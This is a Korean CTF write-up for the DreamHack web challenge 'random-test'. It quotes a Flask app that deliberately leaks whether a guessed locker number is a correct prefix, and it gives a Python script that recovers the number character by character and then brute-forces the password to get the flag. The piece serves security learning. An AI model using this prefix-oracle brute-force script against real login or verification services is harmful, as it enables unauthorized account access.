[Web Hacking] DreamHack random-test is protected. Enter the password to view this post.
문제 정보
문제 제목:
random-test
문제 설명
새 학기를 맞아 드림이에게 사물함이 배정되었습니다. 하지만 기억력이 안 좋은 드림이는 사물함 번호와 자물쇠 비밀번호를 모두 잊어버리고 말았어요… 드림이를 위해 사물함 번호와 자물쇠 비밀번호를 알아내 주세요! 사물함 번호는 알파벳 소문자 혹은 숫자를 포함하는 4자리 랜덤 문자열이고, 비밀번호는 100 이상 200 이하의 랜덤 정수입니다. 두 값을 맞게 입력하면 플래그가 출력됩니다. 플래그는FLAG변수에 있습니다.플래그 형식은 DH{…} 입니다.
문제 분석
app.py
#!/usr/bin/python3from flask import Flask, request, render_templateimport stringimport random
app = Flask(__name__)
try: FLAG = open("./flag.txt", "r").read() # flag is here!except: FLAG = "[**FLAG**]"
rand_str = ""alphanumeric = string.ascii_lowercase + string.digitsfor i in range(4): rand_str += str(random.choice(alphanumeric))
rand_num = random.randint(100, 200)
@app.route("/", methods = ["GET", "POST"])def index(): if request.method == "GET": return render_template("index.html") else: locker_num = request.form.get("locker_num", "") password = request.form.get("password", "")
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num: if locker_num == rand_str and password == str(rand_num): return render_template("index.html", result = "FLAG:" + FLAG) return render_template("index.html", result = "Good") else: return render_template("index.html", result = "Wrong!")
app.run(host="0.0.0.0", port=8000)제공된 app.py를 확인해 보면 플래그는 FLAG 변수에 저장되어 있다.
try: FLAG = open("./flag.txt", "r").read() # flag is here!except: FLAG = "[**FLAG**]"루트 경로 /에서는 POST 요청으로 전달된 locker_num과 password 값을 받아 검증한다.
locker_num = request.form.get("locker_num", "")password = request.form.get("password", "")검증 로직은 다음과 같다.
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num: if locker_num == rand_str and password == str(rand_num): return render_template("index.html", result = "FLAG:" + FLAG) return render_template("index.html", result = "Good")else: return render_template("index.html", result = "Wrong!")여기서 중요한 부분은 다음 조건문이다.
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:이 코드는 정답 사물함 번호인 rand_str를 입력한 locker_num의 길이만큼 잘라서, 입력값과 비교한다.
예를 들어 실제 사물함 번호가 a1b2라면 다음과 같이 동작한다.
locker_num = "a" -> Goodlocker_num = "a1" -> Goodlocker_num = "a1b" -> Goodlocker_num = "a1b2" -> Good 또는 FLAGlocker_num = "b" -> Wrong!즉, 전체 사물함 번호를 한 번에 맞추지 않아도 앞에서부터 한 글자씩 정답 여부를 확인할 수 있다.
또한 locker_num은 정답과 일치하지만 password가 틀린 경우에는 다음 코드에 의해 result 값이 Good이 된다.
return render_template("index.html", result = "Good")따라서 응답에 Good이 포함되어 있으면 현재 입력한 locker_num이 정답의 prefix라는 것을 알 수 있다.
문제 설명과 app.py를 통해 locker_num은 소문자 알파벳과 숫자로 이루어진 4자리 문자열이고, password는 100 이상 200 이하의 정수라는 것을 알 수 있다.
alphanumeric = string.ascii_lowercase + string.digits
for i in range(4): rand_str += str(random.choice(alphanumeric))
rand_num = random.randint(100, 200)따라서 먼저 locker_num을 한 글자씩 찾고, 이후 password를 100부터 200까지 브루트포싱을 돌리면 플래그가 나온다.
Exploit
import requests
url = "http://host3.dreamhack.games:PORT"
lists = []locker = ""
for i in range(10): lists.append(str(i))
for a in range(ord("a"), ord("z")+1): lists.append(chr(a))
for i in range(4): for j in lists: temp = locker + j
data = { "locker_num": temp, "password": "0" } res = requests.post(url, data=data)
if "Good" in res.text: locker += j break
print(f"locker: {locker}")
for i in range(100, 201): data = { "locker_num": locker, "password": str(i) } res = requests.post(url, data=data)
if "FLAG:" in res.text: print(res.text) breakExploit 설명
url에 요청을 보내기 위해 requests 모듈을 사용했다.
먼저 locker_num에 사용될 수 있는 문자들을 순회하기 위해 숫자 0~9와 소문자 알파벳 a~z를 lists 리스트에 저장했다.
lists = []locker = ""
for i in range(10): lists.append(str(i))
for a in range(ord("a"), ord("z") + 1): lists.append(chr(a))이후 locker_num은 4자리 문자열이므로 외부 반복문을 4번 실행했다.
for i in range(4):내부 반복문에서는 현재까지 알아낸 locker 값 뒤에 새로운 문자 j를 하나씩 붙여 요청을 보낸다.
temp = locker + j예를 들어 현재까지 알아낸 값이 a1이라면, 다음 자리 문자를 찾기 위해 다음과 같은 값들을 차례대로 요청하게 된다.
a10a11a12...a1z서버는 입력한 locker_num이 locker_num의 길이만큼 정답과 일치하면 Good을 반환한다.
따라서 응답에 Good이 포함되어 있으면 해당 문자가 현재 자리의 정답이라고 판단하고 locker에 추가한다.
if "Good" in res.text: locker += j break이 과정을 4번 반복하면 전체 locker_num을 알아낼 수 있다.
print(f"locker: {locker}")이후 password를 찾는다.
password는 서버 코드에서 다음과 같이 100 이상 200 이하의 정수로 생성된다.
rand_num = random.randint(100, 200)따라서 100부터 200까지 순회하면서 앞에서 찾은 locker_num과 함께 요청을 보낸다.
for i in range(100, 201): data = { "locker_num": locker, "password": str(i) }
res = requests.post(url, data=data)locker_num과 password가 모두 맞으면 서버는 FLAG:가 포함된 응답을 반환한다.
if "FLAG:" in res.text: print(res.text) break따라서 응답에 FLAG:가 포함되어 있으면 정답으로 판단하고 응답 전체를 출력한다.
결과
최종적으로 다음과 같이 플래그를 얻을 수 있었다.
